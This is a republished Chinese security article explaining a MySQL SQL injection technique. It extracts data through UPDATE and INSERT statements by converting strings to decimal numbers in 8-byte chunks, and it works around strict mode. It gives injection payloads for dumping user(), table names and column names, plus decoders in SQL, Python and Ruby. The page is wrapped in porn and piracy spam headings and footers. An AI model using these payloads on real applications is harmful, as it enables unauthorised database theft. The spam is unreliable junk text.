成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

一種新的MySQL下Update、Insert注入方法

安全 數據安全
目前我們一般通過報錯和時間盲注來對update和insert語句進行SQL注入,下面我們來講解一種新的獲取數據的方法。

[[183607]]

一、前言

目前我們一般通過報錯和時間盲注來對update和insert語句進行SQL注入,下面我們來講解一種新的獲取數據的方法。

首先我們來看一個簡單的例子,假設應用會將username字段的結果會返回給我們:

  1. $query = "UPDATE users SET username = '$username' WHERE id = '$id';"

HTTP應用中的參數是這樣的:

  1.      
  2. username=test&id=16 

我最近研究的帶內,帶外攻擊技巧剛好適用于這個場景,要理解我的技巧,我們可以先看下Mysql 是如何處理字符串的。在Mysql 中一個字符串等于 ‘0’,我們來看一下:

Mysql 是如何處理字符串

假如我們把字符串和數字相加,結果和0 加這個數字一樣:

Mysql 是如何處理字符串

Mysql的這個屬性給了我一些靈感,我們來看看BIGINT的最大值加上一個字符串會怎樣?

BIGINT的最大值加上一個字符串

結果是 ‘1.8446744073709552e19’,這表明字符串實際上作為八字節的DOUBEL類型來處理。

八字節的DOUBEL類型

將一個DOUBLE類型和大數字相加會返回IEEE格式的值,為了解決這個問題我們可以使用OR。

OR

現在我們得到了最大的64bit無符號的BIGINT值0xffffffffffffffff。我們需要注意通過OR獲取數據時,這個值必須小于BIGINT(不能超過64bit)。

二、轉換字符串為數字

為了獲取數據我們可以將應用輸出的字段轉換為數字,然后再解碼回來,如下步驟:

  1. String -> Hexadecimal -> Decimal 

將應用輸出的字段轉換為數字

通過SQL,Python和Ruby等語言我們可以將數字轉回字符串,如下:    

  1. Decimal -> Hexadecimal -> String 

通過SQL,Python和Ruby等語言我們可以將數字轉回字符串

如上面提到的,Mysql中的最大值為BIGINT,我們不能超過它,也就是說每次提取的字符串不能超過8位。

Mysql中的最大值為BIGINT

4702111234474983745可以被解碼為AAAAAAAA,如果再加一個A,我們就不能正確解碼了,因為返回的結果會是無符號的BIGINT值0xffffffffffffffff。

BIGINT值0xffffffffffffffff

如果需要獲取的數據超過8個字節,我們需要使用substr()方法來將數據分片。

  1. select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10); 

n的取值為1、2、3…比如我們要獲取的username長度超過8個字符,我們首先獲取前八個字符,然后繼續獲取后面的8個直到得到NULL。

8個直到得到NULL

最后我們把user()函數獲得的數據解碼。

把user()函數獲得的數據解碼

三、注入技巧

1. 獲取表名

  1. select conv(hex(substr((select table_name from information_schema.tables where table_schema=schema() limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10); 

2. 獲取列名

  1.      
  2. select conv(hex(substr((select column_name from information_schema.columns where table_name=’Name of your table’ limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10); 

3. 利用UPDATE語句

下面我們通過一個例子來說明如何利用更新語句。

利用更新語句

實際的查詢語句可能是這樣的:

實際的查詢語句

實際的查詢語句

4. 利用INSERT語句

原始SQL語句如下:

  1. insert into users values (17,'james', 'bond'); 

我們可以像update語句中一樣獲取數據:

  1. insert into users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n-1) * 8, 8* n)),16, 10); 

MySQL 5.7中的限制

你可能注意到這種方法在MySQL 5.7.5之后的版本并不奏效。

MySQL 5.7.5

通過研究MySQL 5.7發現Mysql服務器默認運行在‘Strict SQL Mode’下,在MySQL 5.7.5里,默認的模式包含‘STRICT_TRANS_TABLES’。在 ‘Strict SQL Mode’ 下我們不能將integer轉換為string。

將integer轉換為string

為了解決這個問題,我們需要在注入時一直使用一個integer類型,這樣就不會有任何問題了。

在注入時一直使用一個integer類型

另外任何用戶都可以在他的會話里關閉‘Strict Mode’。

‘Strict Mode’

如果想設置影響所有客戶端的全局屬性需要SUPER權限。

開發者也可以使用‘IGNORE’關鍵字來忽略‘Strict Mode’,如‘INSERT IGNORE’或者‘UPDATE IGNORE’。

‘Strict Mode’

四、解碼Decoding

SQL

  1. select unhex(conv(value, 10, 16)); 

Python

  1. dec = lambda x:("%x"%x).decode('hex') 

Ruby

  1. dec = lambda { |x| puts x.to_s(16).scan(/../).map { |x| x.hex.chr }.join }或 
  2. dec = lambda { |x| puts x.to_s(16).scan(/\w+/).pack("H*") } 
責任編輯:趙寧寧 來源: 安全客
相關推薦

2014-07-04 09:28:25

2018-12-14 14:30:12

安全檢測布式系測試

2024-01-18 15:38:17

語言模型大型語言模型

2022-06-09 09:38:39

Cloudlets云存儲

2010-11-05 10:15:42

云計算

2022-08-08 08:22:22

量子計算

2011-07-04 17:53:48

快速測試

2011-12-28 21:18:18

App

2011-04-06 10:09:56

MySQL數據庫安裝

2019-11-13 08:52:19

Linux監控日志

2010-03-26 13:34:47

CentOS安裝

2021-06-11 00:11:23

GPS數據協議

2023-12-04 08:21:18

虛擬線程Tomcat

2022-04-06 12:00:46

HEAT安全架構新威脅

2022-07-28 11:29:23

數據安全數據令牌化

2009-06-17 09:05:05

Linux隱藏網絡鏈接命令

2009-06-17 12:01:21

Linux

2013-03-12 14:07:06

Java編程

2020-12-16 10:12:52

大數據小數據人工智能

2019-11-22 09:21:17

技術研發數據
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 亚洲精品www久久久久久广东 | 亚洲欧美日韩电影 | 国产欧美日韩在线观看 | 国产精品欧美一区二区 | 欧美成人综合 | 中文字幕亚洲精品 | 亚洲精品久久久9婷婷中文字幕 | 亚洲在线看 | 精品国产乱码一区二区三区a | 区一区二在线观看 | 国产精品高潮呻吟久久aⅴ码 | 亚洲国产成人精品女人久久久 | 国产精品高潮呻吟久久aⅴ码 | 精品国产乱码久久久久久a丨 | 大陆一级毛片免费视频观看 | 日本一区二区视频 | 国产精品久久久久一区二区 | 亚洲高清视频在线观看 | 91在线视频播放 | 伊人伊成久久人综合网站 | 午夜精品在线观看 | 先锋av资源在线 | h视频免费在线观看 | av黄色在线 | 国产精品一二三区在线观看 | 国产日韩久久久久69影院 | 黄网站免费在线观看 | 国产日韩免费观看 | 久热精品在线播放 | 给我免费的视频在线观看 | 日批av| 亚洲天堂网站 | 久久精品国产99国产精品 | 欧美日韩中文在线 | 国产精品成人国产乱一区 | 亚洲综合色视频在线观看 | 成人性生交大片免费看r链接 | 欧美国产精品一区二区三区 | 欧美极品少妇xxxxⅹ免费视频 | 日韩国产一区 | 99视频免费在线观看 |